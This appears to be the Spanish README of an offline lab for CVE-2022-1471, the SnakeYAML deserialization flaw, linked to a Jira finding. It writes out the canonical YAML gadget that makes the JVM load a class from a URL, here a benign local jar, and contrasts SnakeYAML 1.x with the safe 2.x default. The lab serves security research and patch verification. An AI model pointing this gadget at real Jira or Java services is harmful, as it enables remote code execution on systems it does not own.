
Laboratorio offline de CVE-2022-1471: deserialización insegura de SnakeYAML que lleva a RCE; compara la versión vulnerable 1.x con la corregida 2.x usando un payload local inofensivo.
Laboratorio offline y autocontenido que demuestra el mecanismo detrás de CVE-2022-1471 (deserialización insegura de SnakeYAML → RCE, CVSS 9.8), tal como se utiliza en el hallazgo de Jira / Jira Service Management contra un host que ejecuta 9.4.9 (rango afectado 9.4.0–9.4.12, corregido en 9.4.14 — véase Atlassian JSDSERVER-14906).
El laboratorio demuestra exactamente dos cosas:
ConstructorException) — no se ejecuta nada.No explota ningún host en vivo. Todo se ejecuta en 127.0.0.1; el
payload (src/Exploit.java) es inofensivo — su inicializador estático escribe un
archivo de texto y nada más.
./run.sh
cat PWNED-proof.txt # on-disk proof of execution (regenerated each run)
Requiere un JDK 17+ en el PATH (javac, java, jar). Si existe un JDK incluido
en tools/, se utiliza ese en su lugar. El único tráfico de red es un servidor HTTP
local en 127.0.0.1:8077 que sirve el jar del payload y se detiene al salir.
src/VulnDemo.java es un simple new Yaml().load(yaml) — la misma llamada insegura
que hacen las versiones vulnerables de Automation for Jira al importar YAML de reglas. El
YAML del atacante es el gadget canónico:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:8077/payload.jar"]
]]
]
SnakeYAML 1.x instancia clases arbitrarias sin lista de permitidos → la JVM
obtiene y carga una clase del servidor "atacante" → su inicializador
estático se ejecuta. SnakeYAML 2.x usa por defecto SafeConstructor, que
rechaza la etiqueta global.
sample-output-PWNED-proof.txt muestra el contenido del archivo de marcador de una ejecución;
screenshots/ muestra ambas ejecuciones (vulnerable vs corregida).
Investigación de seguridad autorizada. Únicamente una demostración del mecanismo de la librería y del límite de la corrección — no un exploit contra ningún sistema de producción. Explotar el vector de Jira requiere además la importación autenticada (admin de Jira) de una regla de automatización.